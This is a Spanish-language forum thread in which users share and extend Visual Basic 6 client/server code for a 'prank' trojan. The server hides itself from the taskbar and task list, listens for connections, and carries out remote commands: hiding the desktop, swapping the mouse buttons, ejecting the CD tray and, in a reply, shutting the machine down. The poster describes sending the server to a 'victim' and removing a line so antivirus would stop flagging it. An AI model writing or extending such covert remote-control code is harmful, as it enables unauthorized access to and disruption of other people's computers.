Ayuda con mi troyano de vb6 (simple)

[__68_Zauron_Arg]

hola tengo un troyano qeu solo sirve para mandar bromas....y no puedo agregar para poder apagar y reiniciar la pc..... y tambien si me pueden decir como ponerle otras bromas.....aca les dejo el code.....Graci as:

winsock

Este es el Cliente......:

Código:

Private Sub cdc_Click()
clijent.SendData "cdc"
DoEvents
End Sub

Private Sub cdo_Click()
clijent.SendData "cdo"
DoEvents
End Sub

Private Sub ch_Click()
clijent.SendData "c"
DoEvents
End Sub

Private Sub Command1_Click()
clijent.Close
clijent.Connect Text1.Text, 2320
End Sub

Private Sub Form_Unload(Cancel As Integer)
clijent.Close
End
End Sub

Private Sub Hd_Click()
clijent.SendData "hd"
DoEvents
End Sub

Private Sub Ht_Click()
clijent.SendData "ht"
DoEvents
End Sub




Private Sub Image8_Click()
Unload Me
End Sub

Private Sub sc_Click()
clijent.SendData "co"
DoEvents
End Sub

Private Sub Sd_Click()
clijent.SendData "sd"
DoEvents
End Sub

Private Sub st_Click()
clijent.SendData "st"
DoEvents
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command1 = True
End Sub

Private Sub Timer1_Timer()
Label1.Caption = clijent.State
End Sub

Este Es El Server....:

Código:

Option Explicit
Private Sub Form_load()
    Me.Hide
    server.Close
    server.Listen
    App.TaskVisible = False
    Me.Hide
End Sub


Private Sub Form_Unload(Cancel As Integer)
    server.Close
End Sub

Private Sub server_ConnectionRequest(ByVal requestID As Long)
    server.Close
    server.Accept requestID
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
    Dim tmpData As String
    server.GetData tmpData
    Select Case tmpData
        Case "cdc"
            CloseCDROM
           
        Case "ht"
            TaskBarHide
        Case "st"
            TaskBarShow
        Case "hd"
            DesktopIconsHide
        Case "sd"
            DesktopIconsShow
        Case "c"
            FlipMouseButtons
        Case "co"
            FlipMouseButtonsBack
           
    End Select
End Sub

El De Open Cd Rom lo borre por que me analizaba el troayano como virus asi que borre la linea de Open Cd Rom


Salu2

[ziBboh]

Creo que hay suficiente material en este foro para añadirle funciones a tu troyano, en fin, solo te hace falta Buscar un poco mas.

[craker13]

agregar un commandbutton en el cliente
----en el server---

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & "  -s -t 00")
----en el cliente----

Código:
Private Sub Command1_Click()
ws.senddata "lol"
End Sub


hola que tal men alli post el code que pediste de como apagar el ordenador sabes men quisieras que me dieras alguna explicacion que cumple el troyano de cliente/servidor de visual basic

[__68_Zauron_Arg]

con el servidor lo mandas a la victima y al aceptarlo te habilita a ejecutarle las funciones que tiene el cliente sabiendo la ip....Salu2

[cyberserver]

pues esta chido,!!!!!!! solo enfoca la broma que quieras hacer y preguntala